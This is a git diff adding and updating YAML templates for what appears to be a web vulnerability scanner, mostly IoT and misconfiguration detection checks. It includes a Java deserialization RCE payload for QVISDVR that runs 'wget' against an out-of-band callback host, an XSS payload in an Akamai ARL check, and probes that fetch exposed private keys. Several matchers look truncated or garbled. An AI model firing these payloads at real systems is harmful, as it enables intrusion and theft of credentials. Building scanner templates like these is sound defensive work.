diff --git a/iot/qvisdvr-deserialization-rce.yaml b/iot/qvisdvr-deserialization-rce.yaml
new file mode 100644
index 0000000000..0d82eb387e
--- /dev/null
+++ b/iot/qvisdvr-deserialization-rce.yaml
@@ -0,0 +1,42 @@
+id: qvisdvr-deserialization-rce
+
+info:
+ author: me9187
+ name: QVISDVR JSF Deserialization - Remote Code Execution
+ severity: critical
+ reference: https://twitter.com/Me9187/status/1414606876575162373
+ tags: qvisdvr,rce,deserialization,jsf,iot
+
+requests:
+ - raw:
+ - |
+ GET /qvisdvr/ HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ - |
+ POST /qvisdvr/index.faces;jsessionid={{token}} HTTP/1.1
+ Host: {{Hostname}}
+ Content-Type: application/x-www-form-urlencoded
+
+ javax.faces.ViewState={{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
+
+ extractors:
+ - type: regex
+ name: token
+ group: 1
+ internal: true
+ part: header
+ regex:
+ - "JSESSIONID=(.*)"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 500
+
+ - type: word
+ part: interactsh_protocol
+ words:
+ - http
\ No newline at end of file
diff --git a/technologies/selea-ip-camera.yaml b/iot/selea-ip-camera.yaml
similarity index 57%
rename from technologies/selea-ip-camera.yaml
rename to iot/selea-ip-camera.yaml
index 7d59792ecd..c311717257 100644
--- a/technologies/selea-ip-camera.yaml
+++ b/iot/selea-ip-camera.yaml
@@ -2,8 +2,10 @@ id: selea-ip-camera
info:
name: Detect Selea Targa IP OCR-ANPR Camera
author: geeknik
- description: Selea Targa IP OCR-ANPR Camera Unauthenticated RTP/RTSP/M-JPEG Stream Disclosure -- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5619.php
+ description: Various version of the Selea Targa IP OCR-ANPR Camera are vulnerable to an Unauthenticated RTP/RTSP/M-JPEG Stream Disclosure flaw
+ reference: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5619.php
severity: info
+ tags: iot,selea,targa
requests:
- method: GET
@@ -16,6 +18,9 @@ requests:
part: header
words:
- "SeleaCPSHttpServer"
+ - "selea_httpd"
+ - "HttpServer/0.1"
+ condition: or
- type: word
part: body
words:
diff --git a/iot/stem-audio-table-private-keys.yaml b/iot/stem-audio-table-private-keys.yaml
new file mode 100644
index 0000000000..e0dbd1c491
--- /dev/null
+++ b/iot/stem-audio-table-private-keys.yaml
@@ -0,0 +1,27 @@
+id: stem-audio-table-private-keys
+
+info:
+ name: Detect Private Key on STEM Audio Table
+ author: gy741
+ severity: high
+ reference: https://blog.grimm-co.com/2021/06/the-walls-have-ears.html
+ tags: stem,config,exposure,iot
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/cgi-bin/privatekey.pem"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "BEGIN RSA PRIVATE KEY"
+
+ - type: status
+ status:
+ - 200
+
+ - type: dsl
+ dsl:
+ - '!contains(tolower(body), ""
+ - ""
+ part: body
+ condition: and
+
+ extractors:
+ - type: regex
+ name: model
+ regex:
+ - .*
+ - .*
diff --git a/iot/xp-webcam.yaml b/iot/xp-webcam.yaml
new file mode 100644
index 0000000000..f9942032ad
--- /dev/null
+++ b/iot/xp-webcam.yaml
@@ -0,0 +1,26 @@
+id: xp-webcam
+
+info:
+ name: XP Webcam Viewer Page
+ author: aashiq
+ severity: medium
+ description: Searches for exposed webcams by querying the /mobile.html endpoint and existance of webcamXP in the body
+ tags: webcam,iot
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/mobile.html"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "webcams and ip cameras server for windows"
+ part: body
+
+ - type: word
+ words:
+ - "Please provide a valid username/password to access this server."
+ part: body
+ negative: true
\ No newline at end of file
diff --git a/miscellaneous/addeventlistener-detect.yaml b/miscellaneous/addeventlistener-detect.yaml
new file mode 100644
index 0000000000..0b4b57ca9d
--- /dev/null
+++ b/miscellaneous/addeventlistener-detect.yaml
@@ -0,0 +1,19 @@
+id: addeventlistener-detect
+
+info:
+ name: AddEventlistener detection
+ author: yavolo
+ severity: info
+ tags: xss
+ reference: https://portswigger.net/web-security/dom-based/controlling-the-web-message-source
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}'
+
+ matchers:
+ - type: word
+ words:
+ - 'window.addEventListener('
+ part: body
\ No newline at end of file
diff --git a/miscellaneous/apple-app-site-association.yaml b/miscellaneous/apple-app-site-association.yaml
new file mode 100644
index 0000000000..f8e92c7804
--- /dev/null
+++ b/miscellaneous/apple-app-site-association.yaml
@@ -0,0 +1,36 @@
+id: apple-app-site-association
+
+info:
+ name: Apple app site association for harvesting end points
+ author: panch0r3d
+ severity: info
+ tags: misc
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/.well-known/apple-app-site-association"
+ - "{{BaseURL}}/well-known/apple-app-site-association"
+ - "{{BaseURL}}/apple-app-site-association"
+
+ redirects: true
+ max-redirects: 1
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'applinks'
+ - 'appID'
+ - 'paths'
+ part: body
+ condition: and
+
+ - type: word
+ words:
+ - 'application/json'
+ part: header
+
+ - type: status
+ status:
+ - 200
diff --git a/miscellaneous/clientaccesspolicy.yaml b/miscellaneous/clientaccesspolicy.yaml
new file mode 100644
index 0000000000..a8ae7fc209
--- /dev/null
+++ b/miscellaneous/clientaccesspolicy.yaml
@@ -0,0 +1,25 @@
+id: clientaccesspolicy
+
+info:
+ author: emadshanab
+ name: Silverlight cross-domain policy
+ severity: info
+ tags: misc
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/clientaccesspolicy.xml"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - ""
+ - ""
+ - "domain uri="
+ condition: and
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/miscellaneous/detect-dns-over-https.yaml b/miscellaneous/detect-dns-over-https.yaml
new file mode 100644
index 0000000000..65d9a2bf23
--- /dev/null
+++ b/miscellaneous/detect-dns-over-https.yaml
@@ -0,0 +1,31 @@
+id: detect-dns-over-https
+
+info:
+ name: Detect DNS over HTTPS
+ author: geeknik
+ reference:
+ - https://developers.google.com/speed/public-dns/docs/doh/
+ - https://developers.cloudflare.com/1.1.1.1/dns-over-https/wireformat
+ severity: info
+ tags: dns,doh,misc
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/dns-query?dns=q80BAAABAAAAAAAAA3d3dwdleGFtcGxlA2NvbQAAAQAB"
+ headers:
+ Accept: application/dns-message
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+ - type: word
+ words:
+ - "application/dns-message"
+ part: header
+ - type: regex
+ regex:
+ - "(C|c)ontent-(L|l)ength: 49"
+ part: header
diff --git a/miscellaneous/detect-options-method.yaml b/miscellaneous/detect-options-method.yaml
new file mode 100644
index 0000000000..dbeba332e1
--- /dev/null
+++ b/miscellaneous/detect-options-method.yaml
@@ -0,0 +1,19 @@
+id: detect-options-method
+
+info:
+ name: Detect enabled OPTIONS methods
+ author: pdteam
+ severity: info
+ tags: misc
+
+requests:
+ - method: OPTIONS
+ path:
+ - "{{BaseURL}}"
+
+ extractors:
+ - type: regex
+ part: header
+ group: 1
+ regex:
+ - "Allow: ([A-Z, ]+)"
diff --git a/miscellaneous/dir-listing.yaml b/miscellaneous/dir-listing.yaml
index 929ab3ed09..0f4cbf8095 100644
--- a/miscellaneous/dir-listing.yaml
+++ b/miscellaneous/dir-listing.yaml
@@ -2,8 +2,9 @@ id: dir-listing
info:
name: Directory listing enabled
- author: _harleo & pentest_swissky
+ author: _harleo,pentest_swissky
severity: info
+ tags: misc
requests:
- method: GET
diff --git a/miscellaneous/display-via-header.yaml b/miscellaneous/display-via-header.yaml
new file mode 100644
index 0000000000..a25dbbffb3
--- /dev/null
+++ b/miscellaneous/display-via-header.yaml
@@ -0,0 +1,20 @@
+id: display-via-header
+
+info:
+ name: Display Via Header
+ author: geeknik
+ reference: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Via
+ severity: info
+ tags: misc
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ redirects: true
+ extractors:
+ - type: regex
+ part: header
+ regex:
+ - "Via:.*"
diff --git a/miscellaneous/email-extractor.yaml b/miscellaneous/email-extractor.yaml
new file mode 100644
index 0000000000..569a946468
--- /dev/null
+++ b/miscellaneous/email-extractor.yaml
@@ -0,0 +1,18 @@
+id: email-extractor
+
+info:
+ name: Email Extractor
+ author: panch0r3d
+ severity: info
+ tags: misc,email
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ extractors:
+ - type: regex
+ part: body
+ regex:
+ - "[a-zA-Z0-9-_.]{4,}@[A-Za-z0-9_-]+[.](com|org|net|io|gov|co|co.uk|com.mx|com.br|com.sv|co.cr|com.gt|com.hn|com.ni|com.au|com.cn)"
diff --git a/miscellaneous/google-floc-disabled.yaml b/miscellaneous/google-floc-disabled.yaml
new file mode 100644
index 0000000000..5db3fc078d
--- /dev/null
+++ b/miscellaneous/google-floc-disabled.yaml
@@ -0,0 +1,20 @@
+id: google-floc-disabled
+
+info:
+ name: Google FLoC Disabled
+ author: geeknik
+ description: The detected website has decided to explicity exclude itself from Google FLoC tracking.
+ reference: https://www.bleepingcomputer.com/news/security/github-disables-google-floc-user-tracking-on-its-website/
+ severity: info
+ tags: google,floc,misc
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers:
+ - type: word
+ part: header
+ words:
+ - "interest-cohort=()"
diff --git a/miscellaneous/htaccess-config.yaml b/miscellaneous/htaccess-config.yaml
index ce95ffcace..710bb8a968 100644
--- a/miscellaneous/htaccess-config.yaml
+++ b/miscellaneous/htaccess-config.yaml
@@ -4,6 +4,7 @@ info:
name: HTaccess config file
author: Yash Anand @yashanand155
severity: info
+ tags: misc
requests:
- method: GET
diff --git a/miscellaneous/joomla-htaccess.yaml b/miscellaneous/joomla-htaccess.yaml
new file mode 100644
index 0000000000..1797130f74
--- /dev/null
+++ b/miscellaneous/joomla-htaccess.yaml
@@ -0,0 +1,30 @@
+id: joomla-htaccess-file
+
+info:
+ name: Joomla htaccess file disclosure
+ author: oppsec
+ severity: info
+ description: Joomla have a htaccess file to store some configuration about HTTP Config, Directory Listening etc...
+ tags: misc
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/htaccess.txt"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "# @package Joomla"
+ - "Open Source Matters. All rights reserved"
+ condition: and
+
+ - type: word
+ words:
+ - "text/plain"
+ part: header
+
+ - type: status
+ status:
+ - 200
diff --git a/miscellaneous/joomla-manifest-file.yaml b/miscellaneous/joomla-manifest-file.yaml
new file mode 100644
index 0000000000..81b47737ad
--- /dev/null
+++ b/miscellaneous/joomla-manifest-file.yaml
@@ -0,0 +1,30 @@
+id: joomla-manifest-file
+
+info:
+ name: Joomla manifest file disclosure
+ author: oppsec
+ severity: info
+ description: joomla.xml is a xml file which stores some informations about installed Joomla, like version, files and paths.
+ tags: misc
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/administrator/manifests/files/joomla.xml"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "admin@joomla.org"
+ - "www.joomla.org"
+ condition: and
+
+ - type: word
+ words:
+ - "application/xml"
+ part: header
+
+ - type: status
+ status:
+ - 200
diff --git a/miscellaneous/missing-csp.yaml b/miscellaneous/missing-csp.yaml
index 9ba792ada9..30fb524809 100644
--- a/miscellaneous/missing-csp.yaml
+++ b/miscellaneous/missing-csp.yaml
@@ -4,6 +4,8 @@ info:
author: geeknik
severity: info
description: Checks if there is a CSP header
+ tags: misc
+
requests:
- method: GET
path:
diff --git a/miscellaneous/missing-hsts.yaml b/miscellaneous/missing-hsts.yaml
index 1071f193e8..8999f233ab 100644
--- a/miscellaneous/missing-hsts.yaml
+++ b/miscellaneous/missing-hsts.yaml
@@ -1,10 +1,11 @@
id: missing-hsts
info:
- name: Strict Tranposrt Security Not Enforced
+ name: Strict Transport Security Not Enforced
author: Dawid Czarnecki
severity: info
- description: Checks if the HSTS is enabled by looking for Strict Transport Security
- response header.
+ description: Checks if the HSTS is enabled by looking for Strict Transport Security response header.
+ tags: misc
+
requests:
- method: GET
path:
@@ -13,4 +14,4 @@ requests:
matchers:
- type: dsl
dsl:
- - '!contains(tolower(all_headers), ''strict-transport-security'')'
\ No newline at end of file
+ - '!contains(tolower(all_headers), ''strict-transport-security'')'
diff --git a/miscellaneous/missing-x-content-type-options.yaml b/miscellaneous/missing-x-content-type-options.yaml
new file mode 100644
index 0000000000..008872b06b
--- /dev/null
+++ b/miscellaneous/missing-x-content-type-options.yaml
@@ -0,0 +1,18 @@
+id: missing-x-content-type-options
+
+info:
+ name: X-Content-Type-Options unidentified
+ author: G4L1T0 and @convisoappsec
+ severity: info
+ description: Check for X-Content-Type-Options header
+ tags: misc
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}'
+ redirects: true
+ matchers:
+ - type: dsl
+ dsl:
+ - '!contains(tolower(all_headers), ''x-content-type-options'')'
diff --git a/miscellaneous/missing-x-frame-options.yaml b/miscellaneous/missing-x-frame-options.yaml
index 0d147c92ec..c0e6c43079 100644
--- a/miscellaneous/missing-x-frame-options.yaml
+++ b/miscellaneous/missing-x-frame-options.yaml
@@ -4,9 +4,7 @@ info:
name: Clickjacking (Missing XFO header)
author: kurohost
severity: low
-
- # This is an valid issue "only" when you able to frame authenticated page with poc to make state changing actions.
- # Without working poc, do not report this.
+ tags: misc
requests:
- method: GET
diff --git a/miscellaneous/moodle-changelog.yaml b/miscellaneous/moodle-changelog.yaml
new file mode 100644
index 0000000000..c6db772dcd
--- /dev/null
+++ b/miscellaneous/moodle-changelog.yaml
@@ -0,0 +1,31 @@
+id: moodle-changelog-file
+
+info:
+ name: Moodle Changelog File
+ author: oppsec
+ severity: info
+ description: Moodle have a file which describes API changes in core libraries and APIs, can be used to discover Moodle version.
+ tags: misc
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/lib/upgrade.txt"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "This files describes API changes in core libraries and APIs,"
+ - "information provided here is intended especially for developers."
+ - "new my moodle and profiles API"
+ condition: and
+
+ - type: word
+ words:
+ - "text/plain"
+ part: header
+
+ - type: status
+ status:
+ - 200
diff --git a/miscellaneous/ntlm-directories.yaml b/miscellaneous/ntlm-directories.yaml
index b9f122e0d6..839d67428e 100644
--- a/miscellaneous/ntlm-directories.yaml
+++ b/miscellaneous/ntlm-directories.yaml
@@ -4,6 +4,7 @@ info:
name: Discovering directories w/ NTLM
author: puzzlepeaches
severity: info
+ tags: misc
requests:
- method: GET
diff --git a/miscellaneous/old-copyright.yaml b/miscellaneous/old-copyright.yaml
index 27aaad6ea0..6c401649d9 100644
--- a/miscellaneous/old-copyright.yaml
+++ b/miscellaneous/old-copyright.yaml
@@ -4,6 +4,7 @@ info:
name: Find pages with old copyright dates
author: geeknik
severity: info
+ tags: misc
requests:
- method: GET
diff --git a/miscellaneous/phpmyadmin-setup.yaml b/miscellaneous/phpmyadmin-setup.yaml
new file mode 100644
index 0000000000..e914ba5546
--- /dev/null
+++ b/miscellaneous/phpmyadmin-setup.yaml
@@ -0,0 +1,29 @@
+id: phpmyadmin-setup
+
+info:
+ name: Publicly Accessible Phpmyadmin Setup
+ author: sheikhrishad
+ severity: medium
+ tags: misc
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/phpmyadmin/scripts/setup.php"
+ - "{{BaseURL}}/_phpmyadmin/scripts/setup.php"
+ - "{{BaseURL}}/forum/phpmyadmin/scripts/setup.php"
+ - "{{BaseURL}}/php/phpmyadmin/scripts/setup.php"
+ - "{{BaseURL}}/typo3/phpmyadmin/scripts/setup.php"
+ - "{{BaseURL}}/web/phpmyadmin/scripts/setup.php"
+ - "{{BaseURL}}/xampp/phpmyadmin/scripts/setup.php"
+ - "{{BaseURL}}/sysadmin/phpMyAdmin/scripts/setup.php"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - "You want to configure phpMyAdmin using web interface"
+
+ - type: status
+ status:
+ - 200
\ No newline at end of file
diff --git a/miscellaneous/robots.txt.yaml b/miscellaneous/robots.txt.yaml
index 00667893d7..1518b8c2d3 100644
--- a/miscellaneous/robots.txt.yaml
+++ b/miscellaneous/robots.txt.yaml
@@ -3,6 +3,7 @@ info:
name: robots.txt file
author: CasperGN
severity: info
+ tags: misc
requests:
- method: GET
diff --git a/miscellaneous/security.txt.yaml b/miscellaneous/security.txt.yaml
index 11868dc7af..fd49456be4 100644
--- a/miscellaneous/security.txt.yaml
+++ b/miscellaneous/security.txt.yaml
@@ -5,6 +5,7 @@ info:
author: bad5ect0r
severity: info
description: The website defines a security policy.
+ tags: misc
requests:
- method: GET
diff --git a/miscellaneous/tabnabbing-check.yaml b/miscellaneous/tabnabbing-check.yaml
new file mode 100644
index 0000000000..858ceb57bb
--- /dev/null
+++ b/miscellaneous/tabnabbing-check.yaml
@@ -0,0 +1,25 @@
+id: tabnabbing-check
+
+info:
+ name: Reverse Tabnabbing
+ author: bolli95
+ severity: info
+ tags: misc
+ reference: |
+ - https://owasp.org/www-community/attacks/Reverse_Tabnabbing
+ - https://www.youtube.com/watch?v=TMKZCHYmtD4
+ - https://hackerone.com/reports/211065
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+ - type: dsl
+ dsl:
+ - 'regex("", replace_regex(replace_regex(body, "", ""), "", "")) || regex("window\.open\\([^,]+\\)", body)'
+ - type: dsl
+ dsl:
+ - "!contains(tolower(all_headers), 'referrer-policy: no-referrer')"
\ No newline at end of file
diff --git a/miscellaneous/trace-method.yaml b/miscellaneous/trace-method.yaml
index 8f3069921e..00642b2608 100644
--- a/miscellaneous/trace-method.yaml
+++ b/miscellaneous/trace-method.yaml
@@ -4,9 +4,8 @@ info:
name: HTTP TRACE method enabled
author: nodauf
severity: info
-
- # References:
- # - https://www.blackhillsinfosec.com/three-minutes-with-the-http-trace-method/
+ tags: misc
+ reference: https://www.blackhillsinfosec.com/three-minutes-with-the-http-trace-method/
requests:
- method: TRACE
diff --git a/miscellaneous/unencrypted-bigip-ltm-cookie.yaml b/miscellaneous/unencrypted-bigip-ltm-cookie.yaml
index 161602b6b5..4e1a655549 100644
--- a/miscellaneous/unencrypted-bigip-ltm-cookie.yaml
+++ b/miscellaneous/unencrypted-bigip-ltm-cookie.yaml
@@ -6,6 +6,7 @@ info:
severity: info
reference: https://www.intelisecure.com/how-to-decode-big-ip-f5-persistence-cookie-values
mitigation: https://support.f5.com/csp/article/K23254150
+ tags: misc
requests:
- method: GET
diff --git a/miscellaneous/unpatched-coldfusion.yaml b/miscellaneous/unpatched-coldfusion.yaml
new file mode 100644
index 0000000000..ad99a13175
--- /dev/null
+++ b/miscellaneous/unpatched-coldfusion.yaml
@@ -0,0 +1,32 @@
+id: unpatched-coldfusion
+
+info:
+ name: Adobe ColdFusion - Improper Input Validation - Arbitrary Code Execution
+ author: Daviey
+ severity: info
+ reference: |
+ - https://helpx.adobe.com/security/products/coldfusion/apsb21-16.html
+ - https://twitter.com/Daviey/status/1374070630283415558
+ tags: rce,adobe,misc
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/cf_scripts/scripts/ajax/package/cfajax.js"
+ - "{{BaseURL}}/cf-scripts/scripts/ajax/package/cfajax.js"
+ - "{{BaseURL}}/CFIDE/scripts/ajax/package/cfajax.js"
+ - "{{BaseURL}}/cfide/scripts/ajax/package/cfajax.js"
+ - "{{BaseURL}}/CF_SFSD/scripts/ajax/package/cfajax.js"
+ - "{{BaseURL}}/cfide-scripts/ajax/package/cfajax.js"
+ - "{{BaseURL}}/cfmx/CFIDE/scripts/ajax/package/cfajax.js"
+
+ matchers-condition: and
+ matchers:
+
+ - type: regex
+ regex:
+ - 'eval\(\"\(\"\+json\+\"\)\"\)'
+
+ - type: status
+ status:
+ - 200
diff --git a/miscellaneous/xml-schema-detect.yaml b/miscellaneous/xml-schema-detect.yaml
index eae7564f9b..fae5f0e2ee 100644
--- a/miscellaneous/xml-schema-detect.yaml
+++ b/miscellaneous/xml-schema-detect.yaml
@@ -3,6 +3,7 @@ info:
name: XML Schema Detection
author: alph4byt3
severity: info
+ tags: misc
requests:
- method: GET
diff --git a/misconfiguration/adobe/adobe-connect-username-exposure.yaml b/misconfiguration/adobe/adobe-connect-username-exposure.yaml
new file mode 100644
index 0000000000..088b39ad5e
--- /dev/null
+++ b/misconfiguration/adobe/adobe-connect-username-exposure.yaml
@@ -0,0 +1,26 @@
+id: adobe-connect-username-exposure
+
+info:
+ name: Adobe Connect Username Exposure
+ reference: https://packetstormsecurity.com/files/161345/Adobe-Connect-10-Username-Disclosure.html
+ author: dhiyaneshDk
+ severity: low
+ tags: adobe,disclosure
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/system/help/support"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'Administrators name:'
+ - 'Support Administrators email address:'
+ part: body
+ condition: and
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/adobe/adobe-connect-version.yaml b/misconfiguration/adobe/adobe-connect-version.yaml
new file mode 100644
index 0000000000..6dab2e7f2e
--- /dev/null
+++ b/misconfiguration/adobe/adobe-connect-version.yaml
@@ -0,0 +1,28 @@
+id: adobe-connect-version
+
+info:
+ name: Adobe Connect Central Version
+ author: dhiyaneshDk
+ severity: info
+ tags: adobe
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/version.txt"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'package='
+ part: body
+
+ - type: word
+ words:
+ - 'text/plain'
+ part: header
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/aem/aem-bg-servlet.yaml b/misconfiguration/aem/aem-bg-servlet.yaml
new file mode 100644
index 0000000000..3fa1629768
--- /dev/null
+++ b/misconfiguration/aem/aem-bg-servlet.yaml
@@ -0,0 +1,23 @@
+id: aem-bg-servlet
+
+info:
+ author: DhiyaneshDk
+ name: AEM BG-Servlets
+ severity: info
+ reference: https://www.slideshare.net/0ang3el/hunting-for-security-bugs-in-aem-webapps-129262212
+ tags: aem
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/system/bgservlets/test.css'
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - ' Ooops. "
+ - "Traceback (most recent call last)"
+ condition: and
+
+ - type: status
+ status:
+ - 500
\ No newline at end of file
diff --git a/misconfiguration/unauthenticated-airflow.yaml b/misconfiguration/airflow/unauthenticated-airflow.yaml
similarity index 61%
rename from misconfiguration/unauthenticated-airflow.yaml
rename to misconfiguration/airflow/unauthenticated-airflow.yaml
index 4db232a58f..b2596eb0c5 100644
--- a/misconfiguration/unauthenticated-airflow.yaml
+++ b/misconfiguration/airflow/unauthenticated-airflow.yaml
@@ -4,6 +4,7 @@ info:
name: Unauthenticated Airflow Instance
author: dhiyaneshDK
severity: high
+ tags: apache,airflow,unauth
requests:
- method: GET
@@ -14,9 +15,15 @@ requests:
matchers:
- type: word
words:
- - Airflow - DAGs
+ - "Content-Type: text/html"
+ part: header
+
+ - type: word
+ words:
+ - "Airflow - DAGs "
part: body
+ condition: and
- type: status
status:
- - 200
\ No newline at end of file
+ - 200
diff --git a/misconfiguration/akamai-arl-xss.yaml b/misconfiguration/akamai-arl-xss.yaml
new file mode 100644
index 0000000000..1acd46aec1
--- /dev/null
+++ b/misconfiguration/akamai-arl-xss.yaml
@@ -0,0 +1,31 @@
+id: akamai-arl-xss
+
+info:
+ name: Open Akamai ARL XSS
+ author: pdteam
+ severity: medium
+ tags: akamai,xss
+ reference: |
+ - https://github.com/war-and-code/akamai-arl-hack
+ - https://twitter.com/SpiderSec/status/1421176297548435459
+ - https://warandcode.com/post/akamai-arl-hack/
+ - https://github.com/cybercdh/goarl
+ - https://community.akamai.com/customers/s/article/WebPerformanceV1V2ARLChangeStartingFebruary282021?language=en_US
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/7/0/33/1d/www.citysearch.com/search?what=x&where=place%22%3E%3Csvg+onload=confirm(document.domain)%3E"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ condition: and
+ words:
+ - '">'
+ - 'Suggestions for improving the results'
+
+ - type: word
+ part: header
+ words:
+ - 'text/html'
\ No newline at end of file
diff --git a/misconfiguration/alibaba-mongoshake-unauth.yaml b/misconfiguration/alibaba-mongoshake-unauth.yaml
new file mode 100644
index 0000000000..6de46b6ec7
--- /dev/null
+++ b/misconfiguration/alibaba-mongoshake-unauth.yaml
@@ -0,0 +1,27 @@
+id: alibaba-mongoshake-unauth
+
+info:
+ name: Alibaba Mongoshake Unauth
+ author: pikpikcu
+ severity: info
+ tags: mongoshake,unauth
+
+requests:
+ - method: GET
+ path:
+ - '{{BaseURL}}/'
+
+ matchers-condition: and
+ matchers:
+
+ - type: word
+ words:
+ - '{"Uri":"/worker","Method":"GET"}'
+ - type: word
+ words:
+ - 'text/plain'
+ part: header
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/android-debug-database-exposed.yaml b/misconfiguration/android-debug-database-exposed.yaml
new file mode 100644
index 0000000000..669be2723a
--- /dev/null
+++ b/misconfiguration/android-debug-database-exposed.yaml
@@ -0,0 +1,23 @@
+id: android-debug-database-exposed
+
+info:
+ name: Android Debug Manager
+ author: dhiyaneshDK
+ severity: low
+ reference: https://www.shodan.io/search?query=http.title%3A%22Android+Debug+Database%22
+ tags: unauth,android
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - 'Android Debug Database '
+
+ - type: status
+ status:
+ - 200
diff --git a/misconfiguration/apache-filename-brute-force.yaml b/misconfiguration/apache-filename-brute-force.yaml
new file mode 100644
index 0000000000..61863aac5d
--- /dev/null
+++ b/misconfiguration/apache-filename-brute-force.yaml
@@ -0,0 +1,29 @@
+id: apache-filename-brute-force
+info:
+ name: Apache Filename Brute Force
+ author: geeknik
+ description: If the client provides an invalid Accept header, the server will respond with a 406 Not Acceptable error containing a pseudo directory listing.
+ reference: |
+ - https://hackerone.com/reports/210238
+ - https://www.acunetix.com/vulnerabilities/web/apache-mod_negotiation-filename-bruteforcing/
+ severity: low
+ tags: apache
+
+requests:
+ - method: GET
+ headers:
+ Accept: "fake/value"
+ path:
+ - "{{BaseURL}}/index"
+
+ matchers-condition: and
+ matchers:
+ - type: status
+ status:
+ - 406
+ - type: word
+ words:
+ - "Not Acceptable"
+ - "Available variants:"
+ - "Apache Server at"
+ condition: and
diff --git a/misconfiguration/apache-tomcat-snoop.yaml b/misconfiguration/apache-tomcat-snoop.yaml
index 6c98627609..15b5a1beab 100644
--- a/misconfiguration/apache-tomcat-snoop.yaml
+++ b/misconfiguration/apache-tomcat-snoop.yaml
@@ -6,6 +6,7 @@ info:
severity: low
description: The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection.
reference: https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks
+ tags: apache
requests:
- method: GET
diff --git a/misconfiguration/apc-info.yaml b/misconfiguration/apc-info.yaml
index cd1534ba4c..b972ed5961 100644
--- a/misconfiguration/apc-info.yaml
+++ b/misconfiguration/apc-info.yaml
@@ -4,6 +4,7 @@ info:
name: APCu service information leakage
author: koti2
severity: low
+ tags: config
requests:
- method: GET
diff --git a/misconfiguration/artifactory-anonymous-deploy.yaml b/misconfiguration/artifactory-anonymous-deploy.yaml
new file mode 100644
index 0000000000..d49def2967
--- /dev/null
+++ b/misconfiguration/artifactory-anonymous-deploy.yaml
@@ -0,0 +1,29 @@
+id: artifactory-anonymous-deploy
+
+info:
+ name: Artifactory anonymous deploy
+ reference: https://www.errno.fr/artifactory/Attacking_Artifactory.html
+ author: panch0r3d
+ severity: high
+ tags: artifactory
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}/artifactory/ui/repodata?deploy=true"
+
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - '"repoKey"'
+ part: body
+
+ - type: status
+ status:
+ - 200
+
+ - type: word
+ words:
+ - "application/json"
+ part: header
\ No newline at end of file
diff --git a/misconfiguration/aspx-debug-mode.yaml b/misconfiguration/aspx-debug-mode.yaml
index 1f9220e853..1879d55864 100644
--- a/misconfiguration/aspx-debug-mode.yaml
+++ b/misconfiguration/aspx-debug-mode.yaml
@@ -5,6 +5,7 @@ info:
author: dhiyaneshDk
severity: info
reference: https://portswigger.net/kb/issues/00100800_asp-net-debugging-enabled
+ tags: debug
requests:
- raw:
diff --git a/misconfiguration/aws-object-listing.yaml b/misconfiguration/aws-object-listing.yaml
new file mode 100644
index 0000000000..8abf4a92aa
--- /dev/null
+++ b/misconfiguration/aws-object-listing.yaml
@@ -0,0 +1,33 @@
+id: aws-object-listing
+
+info:
+ name: AWS bucket with Object listing
+ author: pdteam
+ severity: low
+ reference: https://mikey96.medium.com/cloud-based-storage-misconfigurations-critical-bounties-361647f78a29
+ tags: aws,misconfig
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
+ max-size: 1000
+ matchers-condition: and
+ matchers:
+ - type: word
+ words:
+ - '([a-z0-9-._]+)'
